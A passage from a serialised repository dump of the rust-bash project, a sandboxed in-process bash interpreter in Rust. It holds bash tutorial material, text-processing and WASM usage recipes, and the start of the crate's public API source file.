greater or equal\n```\n\n### For loops\n\n```bash\n# Iterate over a list\nfor item in apple banana cherry; do\n    echo \"Fruit: $item\"\ndone\n\n# Iterate over command output\nfor file in $(find /src -name '*.rs'); do\n    echo \"Found: $file\"\ndone\n\n# C-style for loop\nfor ((i=0; i<5; i++)); do\n    echo \"i=$i\"\ndone\n```\n\n### While and until\n\n```bash\n# While loop\ncount=0\nwhile [ $count -lt 5 ]; do\n    echo \"count=$count\"\n    count=$((count + 1))\ndone\n\n# Until loop (runs until condition is true)\nn=10\nuntil [ $n -le 0 ]; do\n    echo \"$n\"\n    n=$((n - 2))\ndone\n```\n\n### Case statements\n\n```bash\nSTATUS=\"error\"\ncase $STATUS in\n    ok|success)\n        echo \"All good\"\n        ;;\n    error)\n        echo \"Something failed\"\n        ;;\n    *)\n        echo \"Unknown status: $STATUS\"\n        ;;\nesac\n```\n\n## Functions\n\n```bash\n# Define a function\ngreet() {\n    local name=\"${1:-world}\"\n    echo \"Hello, $name!\"\n}\n\n# Call it\ngreet Alice    # Hello, Alice!\ngreet          # Hello, world!\n\n# Functions can use local variables\ncounter() {\n    local count=0\n    for item in \"$@\"; do\n        count=$((count + 1))\n    done\n    echo \"$count\"\n}\n\ncounter a b c  # 3\n\n# Return values (exit codes)\nis_even() {\n    [ $(($1 % 2)) -eq 0 ]\n}\n\nif is_even 4; then\n    echo \"4 is even\"\nfi\n```\n\n## Arithmetic\n\n### $(( )) expressions\n\n```bash\necho $((2 + 3))           # 5\necho $((10 / 3))          # 3\necho $((2 ** 10))         # 1024\necho $((x = 5, x * 2))   # 10\n\n# All C-style operators\necho $((a=10, b=3, a % b))     # 1\necho $((1 << 8))               # 256\necho $((0xFF & 0x0F))          # 15\necho $((a > b ? a : b))        # 10 (ternary)\n```\n\n### let command\n\n```bash\nlet \"x = 5 + 3\"\necho $x   # 8\n\nlet \"x += 2\"\necho $x   # 10\n\nlet \"x++\" \"y = x * 2\"\necho $x $y  # 11 22\n```\n\n### (( )) command\n\n```bash\n# Returns 0 (true) if expression is non-zero\nif ((x > 5)); then\n    echo \"x is greater than 5\"\nfi\n\n# Arithmetic for loop\nfor ((i=1; i<=5; i++)); do\n    echo $i\ndone\n```\n\n## Pipelines and Redirections\n\n```bash\n# Pipeline\necho \"hello world\" | tr ' ' '\\n' | sort\n\n# Output redirection\necho \"data\" > /file.txt     # overwrite\necho \"more\" >> /file.txt    # append\n\n# Input redirection\nsort < /unsorted.txt\n\n# Stderr redirection\ncommand 2> /errors.log\ncommand 2>&1                 # stderr to stdout\n\n# Discard output\ncommand > /dev/null 2>&1\n\n# Here-documents\ncat <<EOF\nHello, $USER!\nToday is $(date).\nEOF\n\n# Here-strings\ngrep \"pattern\" <<< \"search in this string\"\n```\n\n## Subshells\n\n```bash\n# Parentheses create an isolated subshell\n(cd /tmp && echo \"In /tmp\")\npwd  # still in original directory — subshell didn't affect parent\n\n# Command substitution runs in a subshell too\nresult=$(echo hello | tr 'h' 'H')\necho $result  # Hello\n```\n\n## Brace Expansion\n\n```bash\necho {a,b,c}           # a b c\necho file{1,2,3}.txt   # file1.txt file2.txt file3.txt\necho {1..5}            # 1 2 3 4 5\necho {01..03}          # 01 02 03 (zero-padded)\necho {a..f}            # a b c d e f\necho {1..10..2}        # 1 3 5 7 9\n```\n\n## Glob Patterns\n\n```bash\necho *.txt              # all .txt files in cwd\necho /src/**/*.rs       # recursive glob\necho file?.log          # file1.log, fileA.log, etc.\necho [abc].txt          # a.txt, b.txt, c.txt\n```\n\n## Putting It All Together\n\nA complete script using multiple features:\n\n```bash\n#!/bin/bash\n# Process CSV data and generate a report\n\nINPUT=\"/data/sales.csv\"\nOUTPUT=\"/data/report.txt\"\n\n# Validate input\nif [ ! -f \"$INPUT\" ]; then\n    echo \"Error: $INPUT not found\" >&2\n    exit 1\nfi\n\n# Count records\ntotal=$(tail -n +2 \"$INPUT\" | wc -l)\n\n# Header\n{\n    echo \"=== Sales Report ===\"\n    echo \"Total records: $total\"\n    echo \"\"\n    echo \"Top 5 by amount:\"\n    tail -n +2 \"$INPUT\" | sort -t, -k3 -rn | head -5 | \\\n        awk -F, '{ printf \"  %-20s $%s\\n\", $1, $3 }'\n} > \"$OUTPUT\"\n\ncat \"$OUTPUT\"\n```\n\nUse this in Rust:\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet script = r#\"\nINPUT=\"/data/sales.csv\"\ntotal=$(tail -n +2 \"$INPUT\" | wc -l)\necho \"Total records: $total\"\ntail -n +2 \"$INPUT\" | sort -t, -k3 -rn | head -3 | \\\n    awk -F, '{ printf \"%-15s $%s\\n\", $1, $3 }'\n\"#;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/data/sales.csv\".into(), b\"name,region,amount\\nAlice,East,50000\\nBob,West,75000\\nCarol,East,62000\\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(script).unwrap();\nassert!(result.stdout.contains(\"Total records: 3\"));\n```\n","/home/user/docs/recipes/text-processing.md":"# Text Processing Pipelines\n\n## Goal\n\nBuild data-processing pipelines using the 80+ built-in commands. rust-bash supports the standard Unix text-processing toolkit — grep, sed, awk, jq, sort, cut, and more — all running in-process without shelling out to the host.\n\n## Grep, Sort, Uniq — Filtering and Counting\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/access.log\".into(), b\"\\\nGET /api/users 200\nPOST /api/users 201\nGET /api/items 200\nGET /api/users 200\nGET /api/items 404\nPOST /api/items 201\nGET /api/users 200\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Count requests per endpoint\nlet result = shell.exec(\n    \"grep 'GET' /access.log | cut -d' ' -f2 | sort | uniq -c | sort -rn\"\n).unwrap();\n// Output: most-requested GET endpoints with counts\nassert!(result.stdout.contains(\"/api/users\"));\n```\n\n## Sed — Stream Editing\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/config.ini\".into(), b\"\\\n[database]\nhost=localhost\nport=5432\nname=mydb_dev\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Replace dev database with production\nlet result = shell.exec(\n    \"sed 's/localhost/db.prod.internal/; s/mydb_dev/mydb_prod/' /config.ini\"\n).unwrap();\nassert!(result.stdout.contains(\"db.prod.internal\"));\nassert!(result.stdout.contains(\"mydb_prod\"));\n\n// In-place editing with -i\nshell.exec(\"sed -i 's/5432/5433/' /config.ini\").unwrap();\nlet result = shell.exec(\"cat /config.ini\").unwrap();\nassert!(result.stdout.contains(\"5433\"));\n```\n\n### Sed features supported\n\n- Substitution: `s/pattern/replacement/flags` (g, p, i, nth occurrence)\n- Delete: `d`, Print: `p`, Quit: `q`\n- Append/Insert/Change: `a`, `i`, `c`\n- Address types: line numbers, ranges (`2,5`), regex (`/pattern/`), step (`1~2`)\n- Hold buffer: `g`, `G`, `h`, `H`, `x`\n- Branching: `b`, `t`, `:label`\n- Extended regex with `-E`\n\n## Awk — Field Processing\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/data.csv\".into(), b\"\\\nname,department,salary\nAlice,Engineering,95000\nBob,Marketing,72000\nCarol,Engineering,98000\nDave,Marketing,68000\nEve,Engineering,105000\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Average salary by department\nlet result = shell.exec(\n    r#\"awk -F, 'NR>1 { sum[$2]+=$3; count[$2]++ } END { for (d in sum) print d, sum[d]/count[d] }' /data.csv\"#\n).unwrap();\nassert!(result.stdout.contains(\"Engineering\"));\nassert!(result.stdout.contains(\"Marketing\"));\n\n// Filter rows and reformat\nlet result = shell.exec(\n    r#\"awk -F, 'NR>1 && $3 > 90000 { printf \"%s earns $%d\\n\", $1, $3 }' /data.csv\"#\n).unwrap();\nassert!(result.stdout.contains(\"Alice\"));\nassert!(result.stdout.contains(\"Eve\"));\n```\n\n### Awk features supported\n\n- Field splitting (`-F`), variables (`-v`), program files (`-f`)\n- Built-in variables: `NR`, `NF`, `FS`, `RS`, `OFS`, `ORS`\n- Patterns: `BEGIN`, `END`, regex, expressions\n- Control flow: `if`/`else`, `for`, `while`, `do-while`\n- Functions: `print`, `printf`, `length`, `substr`, `index`, `split`, `sub`, `gsub`, `match`, `tolower`, `toupper`\n- Associative arrays and user-defined functions\n\n## Jq — JSON Processing\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/users.json\".into(), br#\"[\n  {\"name\": \"Alice\", \"role\": \"admin\", \"active\": true},\n  {\"name\": \"Bob\", \"role\": \"user\", \"active\": false},\n  {\"name\": \"Carol\", \"role\": \"admin\", \"active\": true}\n]\"#.to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Extract active admin names\nlet result = shell.exec(\n    r#\"jq -r '.[] | select(.role == \"admin\" and .active) | .name' /users.json\"#\n).unwrap();\nassert_eq!(result.stdout, \"Alice\\nCarol\\n\");\n\n// Transform structure\nlet result = shell.exec(\n    r#\"jq '[.[] | {user: .name, is_admin: (.role == \"admin\")}]' /users.json\"#\n).unwrap();\nassert!(result.stdout.contains(\"is_admin\"));\n```\n\n### Jq features supported\n\n- Full jq filter syntax (powered by jaq)\n- Flags: `-r` (raw), `-c` (compact), `-s` (slurp), `-e` (exit status), `-n` (null input), `-S` (sort keys)\n- `--arg NAME VAL` and `--argjson NAME JSON` for passing external values\n\n## Diff — Comparing Files\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/v1.txt\".into(), b\"line1\\nline2\\nline3\\n\".to_vec()),\n        (\"/v2.txt\".into(), b\"line1\\nmodified\\nline3\\nnew line\\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Unified diff format\nlet result = shell.exec(\"diff -u /v1.txt /v2.txt\").unwrap();\nassert!(result.stdout.contains(\"-line2\"));\nassert!(result.stdout.contains(\"+modified\"));\n```\n\n## Chaining It All Together\n\nA realistic data processing pipeline:\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/events.jsonl\".into(), b\"\\\n{\\\"ts\\\":\\\"2024-01-15\\\",\\\"type\\\":\\\"login\\\",\\\"user\\\":\\\"alice\\\"}\n{\\\"ts\\\":\\\"2024-01-15\\\",\\\"type\\\":\\\"purchase\\\",\\\"user\\\":\\\"bob\\\"}\n{\\\"ts\\\":\\\"2024-01-15\\\",\\\"type\\\":\\\"login\\\",\\\"user\\\":\\\"alice\\\"}\n{\\\"ts\\\":\\\"2024-01-15\\\",\\\"type\\\":\\\"login\\\",\\\"user\\\":\\\"carol\\\"}\n{\\\"ts\\\":\\\"2024-01-15\\\",\\\"type\\\":\\\"purchase\\\",\\\"user\\\":\\\"alice\\\"}\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Count login events per user\nlet result = shell.exec(r#\"\n    cat /events.jsonl \\\n      | jq -r 'select(.type == \"login\") | .user' \\\n      | sort | uniq -c | sort -rn\n\"#).unwrap();\nassert!(result.stdout.contains(\"alice\"));\n\n// Summarize event types\nlet result = shell.exec(r#\"\n    cat /events.jsonl \\\n      | jq -r '.type' \\\n      | sort | uniq -c | sort -rn\n\"#).unwrap();\nassert!(result.stdout.contains(\"login\"));\nassert!(result.stdout.contains(\"purchase\"));\n```\n\n## Find + Xargs — Batch Operations\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/src/main.rs\".into(), b\"fn main() { todo!() }\".to_vec()),\n        (\"/src/lib.rs\".into(), b\"pub fn hello() { todo!() }\".to_vec()),\n        (\"/src/utils.rs\".into(), b\"pub fn util() {}\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Find files containing \"todo\" using find -exec\nlet result = shell.exec(\"find /src -name '*.rs' -exec grep -l 'todo' {} +\").unwrap();\nassert!(result.stdout.contains(\"main.rs\"));\nassert!(result.stdout.contains(\"lib.rs\"));\nassert!(!result.stdout.contains(\"utils.rs\"));\n```\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Search text | `grep -i pattern file` |\n| Search recursively | `grep -r pattern /dir` |\n| Replace text | `sed 's/old/new/g' file` |\n| Extract columns | `cut -d',' -f1,3 file` |\n| Sort lines | `sort -n file` |\n| Deduplicate | `sort file \\| uniq` |\n| Count lines/words | `wc -l file` |\n| First/last N lines | `head -n 5 file` / `tail -n 5 file` |\n| Reverse lines | `tac file` |\n| JSON query | `jq '.key' file.json` |\n| Field processing | `awk '{print $1}' file` |\n| Character translation | `tr '[:lower:]' '[:upper:]'` |\n| Number lines | `nl file` or `cat -n file` |\n| Wrap long lines | `fold -w 80 file` |\n| Format columns | `column -t file` |\n| Compare files | `diff -u file1 file2` |\n","/home/user/docs/recipes/wasm-usage.md":"# WASM Usage\n\n## Goal\n\nBuild and run rust-bash in the browser (or any WASM-capable runtime) via WebAssembly. This covers building from source, using the low-level `wasm-bindgen` API, and using the recommended `rust-bash` npm package.\n\n## Building WASM from Source\n\nThe `scripts/build-wasm.sh` script handles the full pipeline:\n\n```bash\n./scripts/build-wasm.sh\n```\n\nThis script:\n1. Installs the `wasm32-unknown-unknown` target via `rustup`\n2. Builds with `--features wasm --no-default-features`\n3. Runs `wasm-bindgen` to generate JS bindings in `pkg/`\n4. Optionally runs `wasm-opt -Oz` for size optimization\n\nOr build manually:\n\n```bash\nrustup target add wasm32-unknown-unknown\ncargo install wasm-bindgen-cli\n\ncargo build \\\n    --target wasm32-unknown-unknown \\\n    --features wasm \\\n    --no-default-features \\\n    --release\n\nwasm-bindgen \\\n    target/wasm32-unknown-unknown/release/rust_bash.wasm \\\n    --out-dir pkg/ \\\n    --target bundler\n\n# Optional: optimize with Binaryen\nwasm-opt pkg/rust_bash_bg.wasm -Oz -o pkg/rust_bash_bg.wasm\n```\n\nOutput files in `pkg/`:\n- `rust_bash.js` — JavaScript bindings\n- `rust_bash_bg.wasm` — WebAssembly binary\n- `rust_bash.d.ts` — TypeScript declarations\n\n## Low-Level wasm-bindgen API\n\nThe WASM module exports a `WasmBash` class that you can use directly:\n\n```typescript\nimport init, { WasmBash } from './pkg/rust_bash.js';\n\n// Initialize the WASM module\nawait init();\n\n// Create an instance with configuration\nconst bash = new WasmBash({\n  files: { '/data.txt': 'hello world' },\n  env: { USER: 'agent' },\n  cwd: '/home/user',\n  executionLimits: {\n    maxCommandCount: 10000,\n    maxExecutionTimeSecs: 30,\n  },\n});\n\n// Execute a command\nconst result = bash.exec('cat /data.txt | grep hello');\n// result: { stdout: \"hello world\\n\", stderr: \"\", exitCode: 0 }\n\n// Execute with per-call options\nconst result2 = bash.exec_with_options('echo $PWD', {\n  env: { EXTRA: 'value' },\n  cwd: '/tmp',\n  stdin: 'piped input',\n});\n\n// Filesystem operations\nbash.write_file('/output.txt', 'content');\nconst content = bash.read_file('/output.txt');\nbash.mkdir('/dir', true); // recursive\nconst exists = bash.exists('/dir');\nconst entries = bash.readdir('/');\n// entries: [{ name: \"dir\", isDirectory: true }, { name: \"data.txt\", isDirectory: false }]\n\n// State queries\nconsole.log(bash.cwd());            // \"/home/user\"\nconsole.log(bash.last_exit_code()); // 0\nconsole.log(bash.command_names());  // [\"echo\", \"cat\", \"grep\", ...]\n\n// Register a custom command\nbash.register_command('greet', (args, ctx) => {\n  return { stdout: `Hello, ${args[0]}!\\n`, stderr: '', exitCode: 0 };\n});\n```\n\n## Recommended: Using rust-bash (npm)\n\nThe `rust-bash` package wraps the low-level API with a high-level `Bash` class:\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\n\nconst bash = await Bash.create(createWasmBackend, {\n  files: {\n    '/index.html': '<h1>Hello</h1>',\n    '/data.json': '{\"count\": 42}',\n  },\n  env: { USER: 'browser-user' },\n  cwd: '/',\n});\n\nconst result = await bash.exec('cat /data.json | jq .count');\nconsole.log(result.stdout);   // \"42\\n\"\nconsole.log(result.exitCode); // 0\n```\n\nSee [npm Package](npm-package.md) for the full API reference.\n\n## Browser Integration with Vite\n\n```typescript\n// vite.config.ts\nimport { defineConfig } from 'vite';\n\nexport default defineConfig({\n  optimizeDeps: {\n    exclude: ['rust-bash'],\n  },\n});\n```\n\n```typescript\n// src/shell.ts\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nlet bashInstance: Bash | null = null;\n\nexport async function getShell(): Promise<Bash> {\n  if (!bashInstance) {\n    await initWasm();\n    bashInstance = await Bash.create(createWasmBackend, {\n      files: { '/workspace/README.md': '# My Project' },\n      cwd: '/workspace',\n    });\n  }\n  return bashInstance;\n}\n\n// Usage in a component\nconst shell = await getShell();\nconst result = await shell.exec('ls /workspace');\n```\n\n## Browser Integration with webpack\n\n```javascript\n// webpack.config.js\nmodule.exports = {\n  experiments: {\n    asyncWebAssembly: true,\n  },\n};\n```\n\n```typescript\n// src/index.ts\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nasync function main() {\n  await initWasm();\n\n  const bash = await Bash.create(createWasmBackend, {\n    files: { '/hello.txt': 'Hello from WASM!' },\n  });\n\n  const result = await bash.exec('cat /hello.txt');\n  document.getElementById('output')!.textContent = result.stdout;\n}\n\nmain();\n```\n\n## WASM-Specific Limitations\n\n| Limitation | Details |\n|-----------|---------|\n| No real `sleep` | `sleep` returns an error: \"sleep: not supported in browser environment\" |\n| No network access | `curl`/`wget` are unavailable — use custom commands to bridge to `fetch()` |\n| No threads | WASM target `wasm32-unknown-unknown` is single-threaded |\n| Sync-only custom commands | `register_command()` callbacks on the low-level API must be synchronous |\n| No host filesystem | Only `InMemoryFs` is available — no `OverlayFs` or `ReadWriteFs` |\n| Time handling | `std::time` is replaced by `web-time` crate; `chrono` uses the `wasmbind` feature |\n\nUsing `rust-bash` mitigates some of these: custom commands via `defineCommand()` support async callbacks, and the `Bash` class handles lazy file loading with `async` functions.\n\n## Bundle Size\n\nThe WASM binary is approximately **1–1.5 MB gzipped** (before `wasm-opt`). After `wasm-opt -Oz`, expect a further 10–20% reduction.\n\n| Stage | Approximate Size |\n|-------|-----------------|\n| Raw `.wasm` | ~3–4 MB |\n| After `wasm-opt -Oz` | ~2.5–3.5 MB |\n| Gzipped | ~1–1.5 MB |\n\nTips to manage bundle size:\n- Use `wasm-opt -Oz` (included in `build-wasm.sh`)\n- Enable gzip/brotli compression on your server\n- Lazy-load the WASM module (call `initWasm()` only when needed)\n\n## Example: Interactive Browser Shell\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>rust-bash WASM Demo</title></head>\n<body>\n  <textarea id=\"script\" rows=\"5\" cols=\"60\">echo \"Hello from WASM!\"\nls /\ncat /data.json | jq .name</textarea>\n  <button id=\"run\">Run</button>\n  <pre id=\"output\"></pre>\n\n  <script type=\"module\">\n    import { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\n    await initWasm();\n    const bash = await Bash.create(createWasmBackend, {\n      files: {\n        '/data.json': '{\"name\": \"rust-bash\", \"version\": \"0.1.0\"}',\n      },\n    });\n\n    document.getElementById('run').addEventListener('click', async () => {\n      const script = document.getElementById('script').value;\n      const result = await bash.exec(script);\n\n      let output = '';\n      if (result.stdout) output += result.stdout;\n      if (result.stderr) output += `[stderr] ${result.stderr}`;\n      output += `\\n[exit code: ${result.exitCode}]`;\n\n      document.getElementById('output').textContent = output;\n    });\n  </script>\n</body>\n</html>\n```\n\n## Next Steps\n\n- [npm Package](npm-package.md) — full TypeScript API, Node.js + browser setup\n- [Convenience API](convenience-api.md) — command filtering, transform plugins, safe args\n- [Custom Commands](custom-commands.md) — bridge browser APIs (fetch, localStorage) into shell scripts\n","/home/user/src/api.rs":"//! Public API: `RustBash` shell instance and builder.\n\nuse crate::commands::{self, VirtualCommand};\nuse crate::error::RustBashError;\nuse crate::interpreter::{\n    self, ExecResult, ExecutionCounters, ExecutionLimits, InterpreterState, ShellOpts, ShoptOpts,\n    Variable, VariableAttrs, VariableValue,\n};\nuse crate::network::NetworkPolicy;\nuse crate::platform::Instant;\nuse crate::vfs::{InMemoryFs, VirtualFs};\nuse std::collections::HashMap;\nuse std::path::Path;\nuse std::sync::Arc;\n\n/// A sandboxed bash shell interpreter.\npub struct RustBash {\n    pub(crate) state: InterpreterState,\n}\n\nimpl RustBash {\n    /// Execute a shell command string and return the result.\n    pub fn exec(&mut self, input: &str) -> Result<ExecResult, RustBashError> {\n        self.state.counters.reset();\n        self.state.should_exit = false;\n        self.state.current_source_text = input.to_string();\n        self.state.last_verbose_line = 0;\n\n        let program = match interpreter::parse(input) {\n            Ok(p) => p,\n            Err(e) => {\n                self.state.last_exit_code = 2;\n                return Ok(ExecResult {\n                    exit_code: 2,\n                    stderr: format!(\"{e}\\n\"),\n                    ..ExecResult::default()\n                });\n            }\n        };\n        let mut result = interpreter::execute_program(&program, &mut self.state)?;\n\n        // Fire EXIT trap at end of exec()\n        if let Some(exit_cmd) = self.state.traps.get(\"EXIT\").cloned()\n            && !exit_cmd.is_empty()\n            && !self.state.in_trap\n        {\n            let trap_result = interpreter::execute_trap(&exit_cmd, &mut self.state)?;\n            result.stdout.push_str(&trap_result.stdout);\n            result.stderr.push_str(&trap_result.stderr);\n        }\n\n        Ok(result)\n    }\n\n    /// Returns the current working directory.\n    pub fn cwd(&self) -> &str {\n        &self.state.cwd\n    }\n\n    /// Returns the exit code of the last executed command.\n    pub fn last_exit_code(&self) -> i32 {\n        self.state.last_exit_code\n    }\n\n    /// Returns `true` if the shell received an `exit` command.\n    pub fn should_exit(&self) -> bool {\n        self.state.should_exit\n    }\n\n    /// Returns the names of all registered commands (builtins + custom).\n    pub fn command_names(&self) -> Vec<&str> {\n        self.state.commands.keys().map(|k| k.as_str()).collect()\n    }\n\n    /// Returns the `CommandMeta` for a registered command, if it provides one.\n    pub fn command_meta(&self, name: &str) -> Option<&'static commands::CommandMeta> {\n        self.state.commands.get(name).and_then(|cmd| cmd.meta())\n    }\n\n    /// Sets the shell name (`$0`).\n    pub fn set_shell_name(&mut self, name: String) {\n        self.state.shell_name = name;\n    }\n\n    /// Sets the positional parameters (`$1`, `$2`, ...).\n    pub fn set_positional_params(&mut self, params: Vec<String>) {\n        self.state.positional_params = params;\n    }\n\n    /// Removes a variable from the environment.\n    pub fn unset_env(&mut self, name: &str) {\n        self.state.env.remove(name);\n    }\n\n    // ── VFS convenience methods ──────────────────────────────────────\n\n    /// Returns a reference to the virtual filesystem.\n    pub fn fs(&self) -> &Arc<dyn crate::vfs::VirtualFs> {\n        &self.state.fs\n    }\n\n    /// Write a file to the virtual filesystem, creating parent directories.\n    pub fn write_file(&self, path: &str, content: &[u8]) -> Result<(), crate::VfsError> {\n        let p = Path::new(path);\n        if let Some(parent) = p.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.state.fs.mkdir_p(parent)?;\n        }\n        self.state.fs.write_file(p, content)\n    }\n\n    /// Read a file from the virtual filesystem.\n    pub fn read_file(&self, path: &str) -> Result<Vec<u8>, crate::VfsError> {\n        self.state.fs.read_file(Path::new(path))\n    }\n\n    /// Create a directory in the virtual filesystem.\n    pub fn mkdir(&self, path: &str, recursive: bool) -> Result<(), crate::VfsError> {\n        let p = Path::new(path);\n        if recursive {\n            self.state.fs.mkdir_p(p)\n        } else {\n            self.state.fs.mkdir(p)\n        }\n    }\n\n    /// Check if a path exists in the virtual filesystem.\n    pub fn exists(&self, path: &str) -> bool {\n        self.state.fs.exists(Path::new(path))\n    }\n\n    /// List entries in a directory.\n    pub fn readdir(&self, path: &str) -> Result<Vec<crate::vfs::DirEntry>, crate::VfsError> {\n        self.state.fs.readdir(Path::new(path))\n    }\n\n    /// Get metadata for a path.\n    pub fn stat(&self, path: &str) -> Result<crate::vfs::Metadata, crate::VfsError> {\n        self.state.fs.stat(Path::new(path))\n    }\n\n    /// Remove a file from the virtual filesystem.\n    pub fn remove_file(&self, path: &str) -> Result<(), crate::VfsError> {\n        self.state.fs.remove_file(Path::new(path))\n    }\n\n    /// Remove a directory (and contents if recursive) from the virtual filesystem.\n    pub fn remove_dir_all(&self, path: &str) -> Result<(), crate::VfsError> {\n        self.state.fs.remove_dir_all(Path::new(path))\n    }\n\n    /// Register a custom command.\n    pub fn register_command(&mut self, cmd: Arc<dyn VirtualCommand>) {\n        self.state.commands.insert(cmd.name().to_string(), cmd);\n    }\n\n    /// Execute a command with per-exec environment and cwd overrides.\n    ///\n    /// Overrides are applied before execution and restored afterward.\n    pub fn exec_with_overrides(\n        &mut self,\n        input: &str,\n        env: Option<&HashMap<String, String>>,\n        cwd: Option<&str>,\n        stdin: Option<&str>,\n    ) -> Result<ExecResult, RustBashError> {\n        let saved_cwd = self.state.cwd.clone();\n        let mut overwritten_env: Vec<(String, Option<Variable>)> = Vec::new();\n\n        if let Some(env) = env {\n            for (key, value) in env {\n                let old = self.state.env.get(key).cloned();\n                overwritten_env.push((key.clone(), old));\n                self.state.env.insert(\n                    key.clone(),\n                    Variable {\n                        value: VariableValue::Scalar(value.clone()),\n                        attrs: VariableAttrs::EXPORTED,\n                    },\n                );\n            }\n        }\n\n        if let Some(cwd) = cwd {\n            self.state.cwd = cwd.to_string();\n        }\n\n        let result = if let Some(stdin) = stdin {\n            let delimiter = if stdin.contains(\"__EXEC_STDIN__\") {\n                \"__EXEC_STDIN_BOUNDARY__\"\n            } else {\n                \"__EXEC_STDIN__\"\n            };\n            let full_command = format!(\"{input} <<'{delimiter}'\\n{stdin}\\n{delimiter}\");\n            self.exec(&full_command)\n        } else {\n            self.exec(input)\n        };\n\n        // Restore state\n        self.state.cwd = saved_cwd;\n        for (key, old_val) in overwritten_env {\n            match old_val {\n                Some(var) => {\n                    self.state.env.insert(key, var);\n                }\n                None => {\n                    self.state.env.remove(&key);\n                }\n            }\n        }\n\n        result\n    }\n\n    /// Check whether `input` looks like a complete shell statement.\n    ///\n    /// Returns `true` when the input can be tokenized and parsed without\n    /// hitting an \"unexpected end-of-input\" / unterminated-quote error.\n    /// Useful for implementing multi-line REPL input.\n    ///\n    /// Note: mirrors the tokenize → parse flow from `interpreter::parse()`.\n    pub fn is_input_complete(input: &str) -> bool {\n        match brush_parser::tokenize_str(input) {\n            Err(e) if e.is_incomplete() => false,\n            Err(_) => true, // genuine syntax error, not incomplete\n            Ok(tokens) => {\n                if tokens.is_empty() {\n                    return true;\n                }\n                let options = interpreter::parser_options();\n                match brush_parser::parse_tokens(&tokens, &options) {\n                    Ok(_) => true,\n                    Err(brush_parser::ParseError::ParsingAtEndOfInput) => false,\n                    Err(_) => true, // genuine syntax error\n                }\n            }\n        }\n    }\n}\n\n/// Builder for configuring a [`RustBash`] instance.\npub struct RustBashBuilder {\n    files: HashMap<String, Vec<u8>>,\n    env: HashMap<String, String>,\n    env_explicit: bool,\n    cwd: Option<String>,\n    custom_commands: Vec<Arc<dyn VirtualCommand>>,\n    limits: Option<ExecutionLimits>,\n    network_policy: Option<NetworkPolicy>,\n    fs: Option<Arc<dyn VirtualFs>>,\n}\n\nimpl Default for RustBashBuilder {\n    fn default() -> Self {\n        Self::new()\n    }\n}\n\nimpl RustBashBuilder {\n    /// Create a new builder with default settings.\n    pub fn new() -> Self {\n        Self {\n            files: HashMap::new(),\n            env: HashMap::new(),\n            env_explicit: false,\n            cwd: None,\n            custom_commands: Vec::new(),\n            limits: None,\n            network_policy: None,\n            fs: None,\n        }\n    }\n\n    /// Pre-populate the virtual filesystem with files.\n    pub fn files(mut self, files: HashMap<String, Vec<u8>>) -> Self {\n        self.files = files;\n        self\n    }\n\n    /// Set environment variables.\n    pub fn env(mut self, env: HashMap<String, String>) -> Self {\n        self.env = env;\n        self.env_explicit = true;\n        self\n    }\n\n    /// Set the initial working directory (created automatically).\n    pub fn cwd(mut self, cwd: impl Into<String>) -> Self {\n        self.cwd = Some(cwd.into());\n        self\n    }\n\n    /// Register a custom command.\n    pub fn command(mut self, cmd: Arc<dyn VirtualCommand>) -> Self {\n        self.custom_commands.push(cmd);\n        self\n    }\n\n    /// Override the default execution limits.\n    pub fn execution_limits(mut self, limits: ExecutionLimits) -> Self {\n        self.limits = Some(limits);\n        self\n    }\n\n    /// Set the maximum number of elements allowed in a single array.\n    pub fn max_array_elements(mut self, max: usize) -> Self {\n        let mut limits = self.limits.unwrap_or_default();\n        limits.max_array_elements = max;\n        self.limits = Some(limits);\n        self\n    }\n\n    /// Override the default network policy.\n    pub fn network_policy(mut self, policy: NetworkPolicy) -> Self {\n        self.network_policy = Some(policy);\n        self\n    }\n\n    /// Use a custom filesystem backend instead of the default InMemoryFs.\n    ///\n    /// When set, the builder uses this filesystem directly. The `.files()` method\n    /// still works — it writes seed files into the provided backend via VirtualFs\n    /// methods.\n    pub fn fs(mut self, fs: Arc<dyn VirtualFs>) -> Self {\n        self.fs = Some(fs);\n        self\n    }\n\n    /// Build the shell instance.\n    pub fn build(self) -> Result<RustBash, RustBashError> {\n        let fs: Arc<dyn VirtualFs> = self.fs.unwrap_or_else(|| Arc::new(InMemoryFs::new()));\n        let cwd = self.cwd.unwrap_or_else(|| \"/\".to_string());\n        fs.mkdir_p(Path::new(&cwd))?;\n\n        for (path, content) in &self.files {\n            let p = Path::new(path);\n            if let 